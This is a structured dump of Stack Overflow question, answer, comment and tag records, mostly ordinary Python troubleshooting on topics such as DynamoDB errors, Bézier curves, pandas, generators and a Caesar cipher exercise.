has answer: http://stackoverflow.com/a/61459055
favorite count: 0
has answer: http://stackoverflow.com/a/48777196
tagged with: pandas
tagged with: python

http://stackoverflow.com/a/48783066
has comment: http://stackoverflow.com/comment/84567802
has comment: http://stackoverflow.com/comment/84567908
has body: The Set default date of the form. default=datetime.datetime(2018, 02, 14, 17, 1, 28, 128127, tzinfo=utc)
has comment: http://stackoverflow.com/comment/84568076
has comment: http://stackoverflow.com/comment/84567432
type: Answer
has comment: http://stackoverflow.com/comment/84567665
has comment: http://stackoverflow.com/comment/84571539
answers question: http://stackoverflow.com/q/48782764
has comment: http://stackoverflow.com/comment/84568095
has comment: http://stackoverflow.com/comment/84567984
has comment: http://stackoverflow.com/comment/84567569
has comment: http://stackoverflow.com/comment/84568217
score: 0

http://stackoverflow.com/q/48704008
tagged with: boto3
tagged with: amazon-web-services
score: 0
has comment: http://stackoverflow.com/comment/84433810
has comment: http://stackoverflow.com/comment/84413584
answer count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84433755
tagged with: amazon-dynamodb
tagged with: aws-sdk
tagged with: python
has body: An error occurred (ValidationException) when calling the PutItem operation: One or more parameter values were invalid: Type mismatch for key Xyz expected: S actual: M Sometimes it throws expected: S actual: SS I am using boto3 for this. I am trying to put an item in DynamoDB table. Below is my python snippet: from boto3.dynamodb.conditions import Key, Attr dynamodb = boto3.resource('dynamodb',region_name='us-west-2') table = dynamodb.Table('Xyz-Account') table.put_item( Item={ 'Xyz': {'S': xyz_num}, }) 'xyz_num' variable is string type. I cross checked that.And I have checked the table field in the dynamodb, it is a string type field and not number or any other type. Where is the mismatch occurring here ? And by the way, the function ran coolly a while ago, but then some black magic happened and this error came up. I've been trying to resolve this for 3 hours. Can anyone help ? Thanks in advance.
type: Question
has title: How do I resolve the below mentioned DynamoDB error?

http://stackoverflow.com/q/48757552
linked to: http://stackoverflow.com/q/36489042
tagged with: python
has body: So this is my code to plot a Bézier curve: def bezier(a): n = np.shape(a)[0]-1 # initialise arrays B = np.zeros([101, 2]) terms = np.zeros([n+1, 2]) # create an array of values for t from 0 to 1 in 101 steps t = np.linspace(0, 1, 101) # loop through all t values for i in range(0, 101): #calculate terms inside sum in equation 13 for j in range(0, n + 1): # YOUR CODE HERE terms[j,:] = ((1 - t[i]) ** 3 * a[0,:] \ + 3 * t[i] * (1-t[i]) ** 2 * a[1,:] \ + 3 * t[i] ** 2 * (1-t[i]) * a[2,:] + t[i] ** 3 * a[3,:]) #sum terms to find Bezier curve B[i, :] = sum(terms, 0) # plot Bezier pl.plot(B[:, 0], B[:, 1]) # plot control points pl.plot(a[:, 0], a[:, 1],'ko') # plot control polygon pl.plot(a[:, 0], a[:, 1],'k') return B And when I try to pass it some control points: a = np.array([[0, 0], [0.5, 1], [1, 0]]) B = bezier(a) I receive this IndexError: --------------------------------------------------------------------------- IndexError Traceback (most recent call last) &lt;ipython-input-16-fce87c9f1c04&gt; in &lt;module&gt;() 1 a = np.array([[0, 0], [0.5, 1], [1, 0]]) ----&gt; 2 B = bezier(a) &lt;ipython-input-13-3bb3bb02cc87&gt; in bezier(a) 11 for j in range(0, n + 1): 12 # YOUR CODE HERE ---&gt; 13 terms[j,:] = ((1 - t[i]) ** 3 * a[0,:] + 3 * t[i] * (1-t[i]) ** 2 * a[1,:] + 3 * t[i] ** 2 * (1-t[i]) * a[2,:] + t[i] ** 3 * a[3,:]) 14 #sum terms to find Bezier curve 15 B[i, :] = sum(terms, 0) IndexError: index 3 is out of bounds for axis 0 with size 3 So I figure it is trying to access something outside the container but I can't see where it is I need to change the code.
score: 2
tagged with: list
downvote count: 0
has answer: http://stackoverflow.com/a/48757650
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/128215111
has title: IndexError: index 3 is out of bounds for axis 0 with size 3
type: Question
tagged with: indexoutofboundsexception
upvote count: 2
answer count: 1
favorite count: 0

http://stackoverflow.com/q/48682118
has comment: http://stackoverflow.com/comment/84361991
has comment: http://stackoverflow.com/comment/84361903
has comment: http://stackoverflow.com/comment/84404705
has comment: http://stackoverflow.com/comment/84361695
score: 0
answer count: 2
upvote count: 1
has comment: http://stackoverflow.com/comment/84361454
has body: I am trying to create a virtual environment as: python3.6 -m venv env Error: Command '['/Users/jonathan/temp/django-example-channels/env/bin/python3.6', '-Im', 'ensurepip', '--upgrade', '--default-pip']' returned non-zero exit status 1. My googling on the problem brings up many similar cases but all say they are on Ubuntu and Ubuntu related. Me I am on a Mac so I am thinking this is something else? Don't really know what would be helpful but here is version information at least: $ python3.6 --version Python 3.6.0 :: Anaconda 4.3.1 (x86_64)
has comment: http://stackoverflow.com/comment/84362089
tagged with: macos
favorite count: 0
has title: `python3.6 -m venv env` fails
tagged with: python-3.x
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/84361725
has comment: http://stackoverflow.com/comment/84361797
has comment: http://stackoverflow.com/comment/84361512
has comment: http://stackoverflow.com/comment/84379557
downvote count: 1
type: Question
tagged with: python-venv
has answer: http://stackoverflow.com/a/48682577
has answer: http://stackoverflow.com/a/48682313
tagged with: anaconda

http://stackoverflow.com/comment/84608859
type: Comment
type: QuestionComment
score: 0
has text: @Alex : A function with no return statement always returns a None object in python. Also I checked on the case you presented here myself. In every case it returned me a None object if I close the browser i.e. either by taking accept action on Alert or by taking dismiss action on alert and again trying to close the browser by some means manually and my script run was complete. Also I believe you should go through my answer which will explain you the case in details. If you need mt sample script for verification please let me know.
comment on: http://stackoverflow.com/q/48703734

http://stackoverflow.com/q/48772650
type: Question
has title: google app engine polymodel - overriding instance method - fail - python
upvote count: 1
tagged with: google-cloud-datastore
has body: Here's a simplification of what I'm trying to accomplish: class B inherits from A. Class B is supposed to override the call_me method in class A. I'm using google app engine (maybe that's why?) from google.appengine.ext import ndb from google.appengine.ext.ndb import polymodel class A(polymodel.PolyModel): def call_me(self): print "super class called" return @classmethod def get_call_me(cls, qry) return [m.call_me() for m in qry] class B(A): def call_me(self): print "sub class method called" return When I call object_b = B() all_A = A.query() # get's object_b as well because object_b is an A A.get_call_me(all_A) I get "super class called" in the terminal. How do I make sure "sub class method called" is fired instead/also? class B is an A by inheritance (in the datastore it shows up as ['A', 'B']). But, I don't want call_me from class A to be called. when I call B().__class__.__name__ , I get 'A' What's the right way to go about this? Never mind. It looks like this code works. I was using a projection qry so it didn't have access to the method? I don't quite understand how that works.
answer count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/84549081
favorite count: 0
has comment: http://stackoverflow.com/comment/84559129
tagged with: google-app-engine
has comment: http://stackoverflow.com/comment/84547879
tagged with: python
has comment: http://stackoverflow.com/comment/84554648
has answer: http://stackoverflow.com/a/48778747
type: UnansweredQuestion
score: 1
has comment: http://stackoverflow.com/comment/84552352
tagged with: polymodel
tagged with: overriding

http://stackoverflow.com/comment/84587082
comment on: http://stackoverflow.com/a/48792381
score: 0
type: AnswerComment
has text: How can I get the output of [4, 3, 2] ?
type: Comment

http://stackoverflow.com/comment/84477793
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/48739050
has text: You still need to follow your shell's conventions when running software.

http://stackoverflow.com/comment/84323756
comment on: http://stackoverflow.com/q/48663260
score: 0
type: Comment
type: QuestionComment
has text: Well do you know if the pivot has anything in it? Also you're not saving the pivot into any variable so you can do `df = pd.pivot_table(df, index = ['Run'], columns = 'Status', aggfunc = 'count')`

http://stackoverflow.com/comment/84426215
comment on: http://stackoverflow.com/q/48713440
score: 0
has text: Is this in local run or cluster run?
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/84858330
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/48723520
has text: try this 1- cmake.. 2- make -j4 , i hope you are not editing the make file and also check the paths of the python 2 or 3 anyone you are using. another thing i just noticed that you are compling rasbery with opencv contrib 3.3.0 then why use opencv 3.1.0 in the path for extra modules. change it to 3.3.0, i hope it will solve your problem.

http://stackoverflow.com/q/48653091
downvote count: 0
favorite count: 0
tagged with: cpython
accepted answer: http://stackoverflow.com/a/48654740
tagged with: python
score: 4
type: AnsweredQuestion
type: Question
has title: Incref of params to PyEval_EvalCode depending on script
has body: In the following MCVE two different scripts get executed. Both don't do anything special, the first one has an empty function, the second script does literally nothing. But depending on the script PyEval_EvalCode increfs the passed global/local dictionary or not. The documentation doesn't say anything. But depending on the script I have a dangling dictionary after it got executed. When do I have to decref them afterwards or when not? Or what am I missing here? The following C snippet outputs the refcount of the passed dictionaries. I tried this on Windows with the standard Python-2.7 interpreter. #pragma comment(lib, "C:\\Python27\\libs\\python27.lib") #include "C:\\Python27\\include\\Python.h" static int execute(const char* script) { PyObject* globals = PyDict_New(); PyDict_SetItemString(globals, "__builtins__", PyEval_GetBuiltins()); PyObject* code = Py_CompileString(script, "test", Py_file_input); if (!code) { PyErr_Print(); return 0; } PyObject* result = PyEval_EvalCode((PyCodeObject*)code, globals, nullptr); Py_DECREF(code); if (!result) { PyErr_Print(); return 0; } Py_DECREF(result); printf("Refcount of globals: %zd\n", globals-&gt;ob_refcnt); Py_DECREF(globals); // missing decref spotted by user2357112 return 0; } int main() { const char* script = nullptr; Py_Initialize(); // First script contains a function script = "def main():\n" \ " pass\n" \ "main()\n"; execute(script); // second script does nothing script = "12345"; execute(script); Py_Finalize(); return 0; }
has answer: http://stackoverflow.com/a/48653395
has answer: http://stackoverflow.com/a/48654740
upvote count: 4
tagged with: python-2.7
possible better answer: http://stackoverflow.com/a/48653395
answer count: 2

http://stackoverflow.com/comment/84601922
type: QuestionComment
comment on: http://stackoverflow.com/q/48799472
score: 0
has text: can you post your pygame code? if so i'll correct it for you. use [pastebin](https://pastebin.com/)
type: Comment

http://stackoverflow.com/q/48772477
has comment: http://stackoverflow.com/comment/84547228
score: 0
tagged with: pandas
has comment: http://stackoverflow.com/comment/84547295
has comment: http://stackoverflow.com/comment/84547279
has comment: http://stackoverflow.com/comment/84546437
has comment: http://stackoverflow.com/comment/84546876
type: UnansweredQuestion
has title: Problems with drop based on conditions in Pandas
tagged with: python
has answer: http://stackoverflow.com/a/48772572
has comment: http://stackoverflow.com/comment/84547116
has body: I have this code: Different_year = df[df['Start_year'] != (df['End_year'])] And i just want to remove that condition from my main dataframe like this: df.drop(['Different_year']) Surprisingly it works but the dataframe still has the same shape
linked to: http://stackoverflow.com/q/38481409
has comment: http://stackoverflow.com/comment/84546295
type: Question
has comment: http://stackoverflow.com/comment/84546452
answer count: 2
has answer: http://stackoverflow.com/a/48772641
linked to: http://stackoverflow.com/q/13851535

http://stackoverflow.com/comment/84300738
type: QuestionComment
has text: do `ice cream` needs to be together? Like will this sentence be considered valid:`keep cream over the ice`?
comment on: http://stackoverflow.com/q/48651345
score: 0
type: Comment

http://stackoverflow.com/a/48662527
has comment: http://stackoverflow.com/comment/84322618
has comment: http://stackoverflow.com/comment/84322484
has comment: http://stackoverflow.com/comment/84323223
has body: Just pass the user id to your form and then set a queryset for your field like this: How to pass the user to your form: in your view: @login_required def new_keyword(request): if request.method == "POST": #### Notice this part. new_keyword = KeywordForm(data=request.POST, u=request.user) if new_keyword.is_valid(): new_keyword=new_keyword.save(commit=False) new_keyword.user = request.user new_keyword.save() messages.success(request, 'Pomyślnie dodano słowo kluczowe') return render(request, 'konto/new_keyword_ok.html') else: # Notice this part. new_keyword = WebsiteForm(data=None, u=request.user) return render(request, 'konto/new_keyword.html', {'new_keyword':new_keyword}) How to retrieve the user in form and set the queryset: forms.py: class KeywordForm(forms.ModelForm): class Meta: model = Keyword fields = ('www', 'keyword') def __init__(self, current_user, *args, **kwargs): self.u = kwargs.pop("u") ## The user you just passed. super(KeywordForm, self).__init__(*args, **kwargs) self.fields['www'].queryset = Website.objects.filter(user=self.u) ## Setting the queryset.
answers question: http://stackoverflow.com/q/48662386
has comment: http://stackoverflow.com/comment/84322415
score: 0
has comment: http://stackoverflow.com/comment/84323163
has comment: http://stackoverflow.com/comment/84322704
type: Answer

http://stackoverflow.com/comment/90008424
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/48742349
type: Comment
has text: Thanks for the reply :-) I was able to get the DocRef path in docRef.ref.segments[1]. 0 is the collection name, 1 is the Id.

http://stackoverflow.com/comment/84357903
has text: Oh wow... that completely eluded me. Could you elaborate on why Quaternion*=-1 is not a stored as a local copy but mutates the array that I pass from the outside while a,b,c,d are actually local variables?
comment on: http://stackoverflow.com/a/48680426
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/q/48776933
tagged with: python-3.x
upvote count: 1
tagged with: python
tagged with: montecarlo
type: AnsweredQuestion
score: 1
type: Question
has answer: http://stackoverflow.com/a/48777385
downvote count: 0
tagged with: numerical-integration
has body: I would like to integrate the function given below using the monte-carlo method: f(x,y,z) = (x**2 * y * z) + (y**2 * z**2 * x) + (x**3 * y**3 *z) with the limits: 0 &lt;= x &lt; 4, 0 &lt;= y &lt; 2*(x**2), 0 &lt;= z &lt; 1. This is what I tried so far. from skmonaco import mcquad def g(t): """ The integrand. """ x = t[0] y = t[1] z = t[2] f = (x**2 * y * z) + (y**2 * z**2 * x) + (x**3 * y**3 *z) return f mcquad(g,npoints=100000,xl=[0., 0., 0.],xu=[4., 10., 1.],nprocs=4) I am getting the correct answer if I set the limits of y between two constants. For eg: 0 &lt;= y &lt; 10. Can someone please tell me how do I set the limits of y depending on x?
has title: Monte-Carlo Integration with dependent parameters
answer count: 1
favorite count: 0
accepted answer: http://stackoverflow.com/a/48777385

http://stackoverflow.com/q/48749806
possible better answer: http://stackoverflow.com/a/48750200
has answer: http://stackoverflow.com/a/48750200
has comment: http://stackoverflow.com/comment/84500140
score: 1
has answer: http://stackoverflow.com/a/48750632
favorite count: 0
has title: Caesar Cipher Python
has comment: http://stackoverflow.com/comment/84500288
upvote count: 1
tagged with: python
type: AnsweredQuestion
has body: In the first For Loop below, the code successfully shifts the letters num places to the right. The issue is in the second For Loop, it doesn't reverse it completely like it's supposed to. I've included output below. Any advice would be appreciated. Thanks def cipher(message): num = int(input()) final = [] finalReverse = [] for i in message: if i.isalpha(): i = chr(ord(i)+num) final.append(i) if not i.isalpha(): final.append(i) final = ''.join(map(str, final)) print(final) for i in final: if chr(ord(i)-num).isalpha: x = chr(ord(i)-num) finalReverse.append(x) if not chr(ord(i)).isalpha: finalReverse.append(char(ord(i))) finalReverse = ''.join(map(str, finalReverse)) print(finalReverse) cipher("The New York Times is in New York City.") OUTPUT: (i entered number 3 for num) 1st For Loop's Output: Wkh Qhz \run Wlphv lv lq Qhz \run Flw||. 2nd For Loop's Output: TheNewYYorkTimesisinNewYYorkCityy+ Expected 2nd For Loop's Output: The New York Times is in New York City.
tagged with: caesar-cipher
accepted answer: http://stackoverflow.com/a/48750632
type: Question
answer count: 2
downvote count: 0

http://stackoverflow.com/comment/84485508
type: QuestionComment
comment on: http://stackoverflow.com/q/48742767
score: 1
has text: Let me understand this; you want to simply assign for entries in column2 (('Age_y')), where there is a nan entry the value of column1 ('Age_x'), is that right? why don'y to just use the apply() function and use df['col2'] = df.apply(lambda f: f['col1'] if f['col2'].isnan() else f['col2'], axis=1)
type: Comment

http://stackoverflow.com/comment/84440555
type: QuestionComment
has text: Use a try-except block to catch the exception, and handle it differently.
comment on: http://stackoverflow.com/q/48720888
score: 0
type: Comment

http://stackoverflow.com/comment/84350722
type: Comment
type: QuestionComment
has text: I have (male) in the file.
comment on: http://stackoverflow.com/q/48676017
score: 0

http://stackoverflow.com/q/48752979
type: Question
has comment: http://stackoverflow.com/comment/84508639
has comment: http://stackoverflow.com/comment/84506643
has comment: http://stackoverflow.com/comment/84508448
has comment: http://stackoverflow.com/comment/84507978
score: 0
has body: Consider the following definition for a Python generator: def gen(x): print("-- BEGIN --") y = x + 1 yield y #-- 'tail' of the generator z = y + 1 print("z = %d" % z) print("-- END --") return z (I) If one uses this generator as in g1 = gen(1) print( next(g1) ) the output will be -- BEGIN -- 2 Another next(g1) will produce z = 3 -- END -- along with a StopIteration exception. (II) If one exhausts the g1 generator, e.g., via list g1 = gen(1) print("result =", list(g1) ) the output will be -- BEGIN -- z = 3 -- END -- result = [2] without any exception. Questions: What happens to the "tail" of the generator in case (I)? When will it be executed, if ever? Why did the tail did not execute in case (I), but executed in case (II)? Is there a standard way to exhaust the generator in a single step, like what list operation does in list(g1)? Is it possible to recover the final returned value, z, after exhaustion?
tagged with: python-3.x
linked to: http://stackoverflow.com/q/14183803
has comment: http://stackoverflow.com/comment/84506704
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84508053
has comment: http://stackoverflow.com/comment/84506819
tagged with: python
has comment: http://stackoverflow.com/comment/84507925
linked to: http://stackoverflow.com/q/34073370
tagged with: generator
answer count: 0
linked to: http://stackoverflow.com/q/16780002
has title: What happen to the "tail" of a generator and its returned value?
has comment: http://stackoverflow.com/comment/84506744

http://stackoverflow.com/a/48656001
score: 0
has comment: http://stackoverflow.com/comment/84314681
has comment: http://stackoverflow.com/comment/84352650
has comment: http://stackoverflow.com/comment/84352628
has comment: http://stackoverflow.com/comment/84352668
type: Answer
has comment: http://stackoverflow.com/comment/84352648
has body: import numpy as np import itertools def find_closese_sum(numbers, targets): numbers = numbers[:] for t in targets: if not numbers: break combs = sum([list(itertools.combinations(numbers, r)) for r in range(1, len(numbers)+1)], []) sums = np.asarray(list(map(sum, combs))) bestcomb = combs[np.argmin(np.abs(np.asarray(sums) - t))] numbers = list(set(numbers).difference(bestcomb)) print("Target: {}, combination: {}".format(t, bestcomb)) Example In [101]: import numpy as np ...: import itertools ...: ...: def find_closese_sum(numbers, targets): ...: numbers = numbers[:] ...: for t in targets: ...: if not numbers: ...: break ...: combs = sum([list(itertools.combinations(numbers, r)) ...: for r in range(1, len(numbers)+1)], []) ...: sums = np.asarray(list(map(sum, combs))) ...: bestcomb = combs[np.argmin(np.abs(np.asarray(sums) - t))] ...: numbers = list(set(numbers).difference(bestcomb)) ...: print("Target: {}, combination: {}".format(t, bestcomb)) ...: ...: targets = [14,27.,39] ...: numbers = [1.0,5,5,10,7,8,11,13,66,34] ...: find_closese_sum(numbers, targets) ...: Target: 14, combination: (1.0, 13) Target: 27.0, combination: (5, 5, 10, 7) Target: 39, combination: (8, 34)
has comment: http://stackoverflow.com/comment/84378640
has comment: http://stackoverflow.com/comment/84311352
has comment: http://stackoverflow.com/comment/84311715
has comment: http://stackoverflow.com/comment/84388059
answers question: http://stackoverflow.com/q/48655612
has comment: http://stackoverflow.com/comment/84352837
has comment: http://stackoverflow.com/comment/84378356

http://stackoverflow.com/comment/84452600
type: QuestionComment
comment on: http://stackoverflow.com/q/48725836
type: Comment
has text: @Brad Also try looking in journalctl for clues
score: 0

serialization
tags question: http://stackoverflow.com/q/48749756
tag name: serialization
tags question: http://stackoverflow.com/q/48671332
tags question: http://stackoverflow.com/q/48659673
type: Tag
tags question: http://stackoverflow.com/q/48756249

http://stackoverflow.com/q/48776502
upvote count: 1
tagged with: librosa
favorite count: 0
answer count: 0
type: UnansweredQuestion
tagged with: python
downvote count: 0
score: 1
has body: WHAT I WAS ABLE TO DO: Currently I'm able to generate mfcc for all files in a given folder and save them as follows: def gen_features(in_path, out_path): src = in_path + '/' output_path = out_path + '/' sr = 22050 path_to_audios = [os.path.join(src, f) for f in os.listdir(src)] for audio in path_to_audios: audio_data = librosa.load(audio_path, sr=22050)[0] # getting y mfcc_feature_list = librosa.feature.mfcc(y=audio_data,sr=sr) # create mfcc features np.savetxt(blah blahblah , mfcc_feature_list, delimiter ="\t") gen_features('/home/data','home/data/features') DIFFICULTY: my input audio recordings are pretty long, each is atleast 3-4 hours long. this program is very inefficient as the file size after np.savetxt is becoming pretty big ~ 1.5MB txt file for 1 minute of audio. I plan to combine mfcc with more features in the future. So the saved file text size will explode. I want to keep it smaller 5 minute chunks for easy of processing. WHAT I WANT TO DO: add one more parameter len to gen_features, this must specify the length of audio to be processed at a time. So if the input audio abc.mp3is 13 minutes long, and I specify len = 5 meaning 5minutes, then mfcc's should be computed for [0.0,5.0) [5.0,10.0) and [10.0,13.0] and they should be saved as mfcc_filename_chunk_1.csv mfcc_filename_chunk_2.csv mfcc_filename_chunk_3.csv Like this I want to do it for all files in that directory. I want to do achieve this using librosa. I am unable to get any ideas on how to proceed. More awesome thing to do would be, compute this over overlapping intervals, example if len =5 is passed , then chunk one should be over [0.0,5.1] chunk two should be over [5.0,10.1] chunk three should be over [10.0,13.0]
type: Question
tagged with: numpy
has title: compute mfcc for audio file over fixed chunks and save them separately

http://stackoverflow.com/comment/84534455
score: 0
type: Comment
has text: Welcome to StackOverflow! Please read the info about [how to ask a good question](https://stackoverflow.com/help/how-to-ask) and [how to give a reproducible example](https://stackoverflow.com/questions/5963269/how-to-make-a-great-r-reproducible-example). This will make it much easier for others to help you.
type: QuestionComment
comment on: http://stackoverflow.com/q/48767103

http://stackoverflow.com/comment/84400921
type: AnswerComment
has text: No sadly did not work. Same procedure as above when I `CTRL-C` I abort the process.
type: Comment
comment on: http://stackoverflow.com/a/48694930
score: 0

http://stackoverflow.com/comment/84461341
type: QuestionComment
has text: That seems like it ought to work. What is the exact error message?
type: Comment
score: 0
comment on: http://stackoverflow.com/q/48726717

http://stackoverflow.com/q/48724986
has title: How do I use threads on a generator while keeping the order?
type: Question
upvote count: 9
downvote count: 0
possible better answer: http://stackoverflow.com/a/48725152
has answer: http://stackoverflow.com/a/68055700
tagged with: python-2.7
has answer: http://stackoverflow.com/a/48725152
answer count: 3
has answer: http://stackoverflow.com/a/48725331
has comment: http://stackoverflow.com/comment/84450473
tagged with: python
favorite count: 0
score: 9
tagged with: python-multithreading
tagged with: multithreading
linked to: http://stackoverflow.com/q/2846653
linked to: http://stackoverflow.com/q/48817008
tagged with: generator
has body: I have a simple code that runs a GET request per each item in the generator that I'm trying to speed up: def stream(self, records): # type(records) = &lt;type 'generator'&gt; for record in records: # record = OrderedDict([('_time', '1518287568'), ('data', '5552267792')]) output = rest_api_lookup(record[self.input_field]) record.update(output) yield record Right now this runs on a single thread and takes forever since each REST call waits until the previous REST call finishes. I have used multithreading in Python from a list before using this great answer (https://stackoverflow.com/a/28463266/1150923), but I'm not sure how to re-use the same strategy on a generator instead of a list. I had some advise from a fellow developer who recommended me that I break out the generator into 100-element lists and then close the pool, but I don't know how to create these lists from the generator. I also need to keep the original order since I need to yield record in the right order.
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84448928
accepted answer: http://stackoverflow.com/a/48725331

http://stackoverflow.com/a/48649594
answers question: http://stackoverflow.com/q/48649108
has body: By using stack , next step you just need to convert the Year, Month to month end df.set_index(['pointId','year']).replace('None',np.nan).stack() Out[1127]: pointId year 307 2017 february 0.88 january 0.70 march 1.10 2018 february 0.60 january 0.50 dtype: float64 Update s=df.set_index(['pointId','year']).replace('None',np.nan).stack().reset_index() s=s.replace({'february':2,'january':1,'march':3}) from pandas.tseries.offsets import MonthEnd s['Date']=pd.to_datetime(s.year*10+s.level_2,format='%Y%m')+MonthEnd(1) s.drop(['year','level_2'],1).rename(columns={0:'Value'}) Out[1143]: pointId Value Date 0 307 0.88 2017-02-28 1 307 0.70 2017-01-31 2 307 1.10 2017-03-31 3 307 0.60 2018-02-28 4 307 0.50 2018-01-31
has comment: http://stackoverflow.com/comment/84555147
type: AcceptedAnswer
upvote count: 3
type: Answer
downvote count: 0
has comment: http://stackoverflow.com/comment/84555111
score: 3
accepted answer of: http://stackoverflow.com/q/48649108

http://stackoverflow.com/q/48695791
has answer: http://stackoverflow.com/a/48696478
tagged with: modulo
tagged with: if-statement
upvote count: 5
downvote count: 5
has answer: http://stackoverflow.com/a/48695953
score: 0
has body: Can someone explain to me how this function works? I don't get how the for loop keeps going while there is return False after the if statement, which is also unclear to me. def IsPrime(n): for x in range(2, int(n/2+1)): if not n % x: return False; return True I don't understand what is happening in line 3 of this code.
answer count: 3
has title: Python if statement without == operator
has comment: http://stackoverflow.com/comment/84390569
has comment: http://stackoverflow.com/comment/84391094
favorite count: 0
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/84390392
has answer: http://stackoverflow.com/a/48695954
type: Question
has comment: http://stackoverflow.com/comment/84390465

http://stackoverflow.com/a/48796579
accepted answer of: http://stackoverflow.com/q/48796001
type: Answer
answers question: http://stackoverflow.com/q/48796001
score: 0
has body: I think you are really over complicating things. Lets just do this the most basic way possible. Start with a nested loop with the largest values and decrement them. Check if their product is a palindrome and keep track of which palindrome is largest so far. Example: bestpalindrome = 0 def is_palindrome(n): return str(n)[::-1] == str(n) for i in range(999, 100, -1): for j in range(999, 100, -1): temp = i*j if (is_palindrome(temp)): if temp &gt; bestpalindrome: bestpalindrome = temp print(bestpalindrome)
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/84595609
has comment: http://stackoverflow.com/comment/84595929

http://stackoverflow.com/comment/84570918
has text: Thank you!, this also fixed the for loop issue i had
type: Comment
comment on: http://stackoverflow.com/a/48784116
score: 0
type: AnswerComment

http://stackoverflow.com/comment/84329102
type: QuestionComment
has text: Are you sure that your goal doesn't work best with masks, by the way?
type: Comment
comment on: http://stackoverflow.com/q/48664707
score: 0

http://stackoverflow.com/comment/84355374
has text: Could you show what is inside the py file, because that is where the error seems to be coming from
comment on: http://stackoverflow.com/q/48679010
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/a/48717024
has comment: http://stackoverflow.com/comment/84433327
has body: json_acceptable_string = data.replace("'", "\"").replace('None', 'null') d = json.loads(json_acceptable_string)
has comment: http://stackoverflow.com/comment/84433397
type: Answer
answers question: http://stackoverflow.com/q/48716934
score: 0

http://stackoverflow.com/comment/84502491
type: Comment
comment on: http://stackoverflow.com/q/48750954
has text: Are non-leaf nodes supposed to have prices, like the first one does? The second tree doesn't.
score: 0
type: QuestionComment

http://stackoverflow.com/comment/84456454
type: QuestionComment
has text: does it actually have quotes around everything?
score: 0
comment on: http://stackoverflow.com/q/48728626
type: Comment

http://stackoverflow.com/a/48748532
score: 1
upvote count: 1
has body: top_model_weights_path = '/home/ethnicity.071217.23-0.28.hdf5' df = pd.read_csv('/home/instaurls.csv') data1 = np.array([io.imread(row[1]) for row in df.itertuples()]) If your dataset is not too big, there is no problem with using a standard list first and then convert to numpy array, I guess. If you're not familiar with implicit lists: data1 = [] for row in df.itertuples(): data1.append(io.imread(row[1])) data1 = np.array(data1)
has comment: http://stackoverflow.com/comment/84497115
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/48748055
type: Answer
accepted answer of: http://stackoverflow.com/q/48748055

http://stackoverflow.com/a/48697707
accepted answer of: http://stackoverflow.com/q/48696858
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/84394227
answers question: http://stackoverflow.com/q/48696858
type: Answer
has comment: http://stackoverflow.com/comment/84394291
upvote count: 1
score: 1
has body: site is internal to the Python interpreter, and is used to initialize machine-specific details of your Python installation. What's telling you that you need to install this module? Ignore it. It's wrong.

http://stackoverflow.com/comment/84537722
type: AnswerComment
has text: @luc: yes, I know *why* :-P
score: 0
type: Comment
comment on: http://stackoverflow.com/a/48767967

http://stackoverflow.com/a/48971913
upvote count: 7
has comment: http://stackoverflow.com/comment/86123008
accepted answer of: http://stackoverflow.com/q/48663645
answers question: http://stackoverflow.com/q/48663645
score: 7
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/84990030
has comment: http://stackoverflow.com/comment/86398676
has comment: http://stackoverflow.com/comment/86131425
has body: Windows I haven't tested this right now, but it worked a month ago for me. Either download the src code from github and go to /bindings/python/ and copy the clang directory and paste it into your python site packages dir or (try both) pip install clang-5 Download the llvm binares. If you have python-32bit then install llvm 32bit!! Otherwise it wont work. For 64bit python install the 64bit binaries In your python program just import clang.cindex as cl and in your code do cl.Config.set_library_file("your/path/to/libclang.dll") libclang.dll should be in your clang/bin installation directory Linux Running it right now, so it works for me pip3 install clang-5 from your package manager either get llvm-clang or llvm-clang-32bit depending on your python installation In your python program just import clang.cindex as cl and in your code do cl.Config.set_library_file("your/path/to/libclang.so") From my experience libclang.so should be located in either /usr/lib32/ or usr/lib64/ Hope this helps!
type: Answer

http://stackoverflow.com/q/48747676
has comment: http://stackoverflow.com/comment/84495361
has body: keys = [1,2,3,5,6,7,8,9] squares_dict = {key: None for key in keys} def box_number(my_dict,xmax,ymax,xmin,ymin,key): ra = Rectangle(float(xmax), float(ymax), float(xmin), float(ymin)) # print(area(ra, Rectangle(float(my_dict[key][2][0]),float(my_dict[key][3][0]),0,0))) if area(ra, Rectangle(float(my_dict[key][2][0]),float(my_dict[key][3][0]),0,0)) == area(ra,ra): squares_dict[1].append(key,xmax,ymax,xmin,ymin)//This line The issue i'm having is related to the last line of the code shared, the error i'm getting is squares_dict[1].append(key,xmax,ymax,xmin,ymin) AttributeError: 'NoneType' object has no attribute 'append'
type: Question
has comment: http://stackoverflow.com/comment/84495499
score: -1
answer count: 3
has answer: http://stackoverflow.com/a/48747763
accepted answer: http://stackoverflow.com/a/48747794
has comment: http://stackoverflow.com/comment/84495344
favorite count: 0
has answer: http://stackoverflow.com/a/48747766
has title: Why aren't i able to append the values in my dictionary?
has answer: http://stackoverflow.com/a/48747794
tagged with: python
type: AnsweredQuestion
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/84495227
downvote count: 2
possible better answer: http://stackoverflow.com/a/48747763
upvote count: 1

http://stackoverflow.com/q/48686886
upvote count: 1
downvote count: 1
has comment: http://stackoverflow.com/comment/84371523
possible better answer: http://stackoverflow.com/a/48686942
has answer: http://stackoverflow.com/a/48687164
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/48687101
has comment: http://stackoverflow.com/comment/84371975
has comment: http://stackoverflow.com/comment/84372220
has comment: http://stackoverflow.com/comment/84373645
